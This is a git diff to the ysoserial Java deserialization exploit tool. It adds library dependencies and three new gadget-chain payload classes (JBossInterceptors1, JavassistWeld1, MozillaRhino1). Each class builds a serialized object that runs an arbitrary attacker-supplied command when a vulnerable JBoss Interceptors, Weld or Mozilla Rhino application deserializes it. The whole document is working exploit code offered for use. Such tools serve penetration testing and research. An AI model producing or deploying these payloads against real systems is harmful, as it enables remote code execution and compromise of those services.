diff --git a/pom.xml b/pom.xml index d82c1f4..4b1631a 100644 --- a/pom.xml +++ b/pom.xml @@ -257,6 +257,46 @@ jython-standalone 2.5.2 + + rhino + js + 1.7R2 + + + javassist + javassist + 3.12.0.GA + + + org.jboss.weld + weld-core + 1.1.33.Final + + + org.jboss.interceptor + jboss-interceptor-core + 2.0.0.Final + + + org.jboss.interceptor + jboss-interceptor-spi + 2.0.0.Final + + + javax.enterprise + cdi-api + 1.0-SP1 + + + javax.interceptor + javax.interceptor-api + 3.1 + + + org.slf4j + slf4j-api + 1.7.21 + diff --git a/src/main/java/ysoserial/payloads/JBossInterceptors1.java b/src/main/java/ysoserial/payloads/JBossInterceptors1.java new file mode 100644 index 0000000..42e4eed --- /dev/null +++ b/src/main/java/ysoserial/payloads/JBossInterceptors1.java @@ -0,0 +1,79 @@ +package ysoserial.payloads; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.jboss.interceptor.builder.InterceptionModelBuilder; +import org.jboss.interceptor.builder.MethodReference; +import org.jboss.interceptor.proxy.DefaultInvocationContextFactory; +import org.jboss.interceptor.proxy.InterceptorMethodHandler; +import org.jboss.interceptor.reader.ClassMetadataInterceptorReference; +import org.jboss.interceptor.reader.DefaultMethodMetadata; +import org.jboss.interceptor.reader.ReflectiveClassMetadata; +import org.jboss.interceptor.reader.SimpleInterceptorMetadata; +import org.jboss.interceptor.spi.instance.InterceptorInstantiator; +import org.jboss.interceptor.spi.metadata.InterceptorReference; +import org.jboss.interceptor.spi.metadata.MethodMetadata; +import org.jboss.interceptor.spi.model.InterceptionModel; +import org.jboss.interceptor.spi.model.InterceptionType; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; + +import java.lang.reflect.Constructor; +import java.util.*; + +/* + by @matthias_kaiser +*/ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) +public class JBossInterceptors1 implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + + final Object gadget = Gadgets.createTemplatesImpl(command); + + InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); + ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); + InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); + + Set s = new HashSet(); + s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE); + + Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); + defaultMethodMetadataConstructor.setAccessible(true); + MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, + MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); + + List list = new ArrayList(); + list.add(methodMetadata); + Map> hashMap = new HashMap>(); + + hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); + SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); + + builder.interceptAll().with(simpleInterceptorMetadata); + + InterceptionModel model = builder.build(); + + HashMap map = new HashMap(); + map.put("ysoserial", "ysoserial"); + + DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); + + InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { + + public Object createFor(InterceptorReference paramInterceptorReference) { + + return gadget; + } + }; + + return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); + + } + + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(JBossInterceptors1.class, args); + } +} \ No newline at end of file diff --git a/src/main/java/ysoserial/payloads/JavassistWeld1.java b/src/main/java/ysoserial/payloads/JavassistWeld1.java new file mode 100644 index 0000000..ed3b8e1 --- /dev/null +++ b/src/main/java/ysoserial/payloads/JavassistWeld1.java @@ -0,0 +1,79 @@ +package ysoserial.payloads; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.jboss.weld.interceptor.builder.InterceptionModelBuilder; +import org.jboss.weld.interceptor.builder.MethodReference; +import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory; +import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler; +import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference; +import org.jboss.weld.interceptor.reader.DefaultMethodMetadata; +import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata; +import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata; +import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator; +import org.jboss.weld.interceptor.spi.metadata.InterceptorReference; +import org.jboss.weld.interceptor.spi.metadata.MethodMetadata; +import org.jboss.weld.interceptor.spi.model.InterceptionModel; +import org.jboss.weld.interceptor.spi.model.InterceptionType; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; + +import java.lang.reflect.Constructor; +import java.util.*; + +/* + by @matthias_kaiser +*/ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1","org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) +public class JavassistWeld1 implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + + final Object gadget = Gadgets.createTemplatesImpl(command); + + InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); + ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); + InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); + + Set s = new HashSet(); + s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE); + + Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); + defaultMethodMetadataConstructor.setAccessible(true); + MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, + MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); + + List list = new ArrayList(); + list.add(methodMetadata); + Map> hashMap = new HashMap>(); + + hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); + SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); + + builder.interceptAll().with(simpleInterceptorMetadata); + + InterceptionModel model = builder.build(); + + HashMap map = new HashMap(); + map.put("ysoserial", "ysoserial"); + + DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); + + InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { + + public Object createFor(InterceptorReference paramInterceptorReference) { + + return gadget; + } + }; + + return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); + + } + + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(JavassistWeld1.class, args); + } +} \ No newline at end of file diff --git a/src/main/java/ysoserial/payloads/MozillaRhino1.java b/src/main/java/ysoserial/payloads/MozillaRhino1.java new file mode 100644 index 0000000..6bf3258 --- /dev/null +++ b/src/main/java/ysoserial/payloads/MozillaRhino1.java @@ -0,0 +1,66 @@ +package ysoserial.payloads; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.mozilla.javascript.*; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/* + by @matthias_kaiser +*/ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"rhino:js:1.7R2"}) +public class MozillaRhino1 implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + + Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); + Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); + nativeErrorConstructor.setAccessible(true); + IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance(); + + Context context = Context.enter(); + + NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); + + Method enterMethod = Context.class.getDeclaredMethod("enter"); + NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name"); + idScriptableObject.setGetterOrSetter("name", 0, method, false); + + Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); + NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message"); + idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false); + + Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); + getSlot.setAccessible(true); + Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1); + Field getter = slot.getClass().getDeclaredField("getter"); + getter.setAccessible(true); + + Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox"); + Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class); + memberboxClassConstructor.setAccessible(true); + Object memberboxes = memberboxClassConstructor.newInstance(enterMethod); + getter.set(slot, memberboxes); + + NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class); + idScriptableObject.setPrototype(nativeObject); + + BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); + Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); + valField.setAccessible(true); + valField.set(badAttributeValueExpException, idScriptableObject); + + return badAttributeValueExpException; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(MozillaRhino1.class, args); + } +} \ No newline at end of file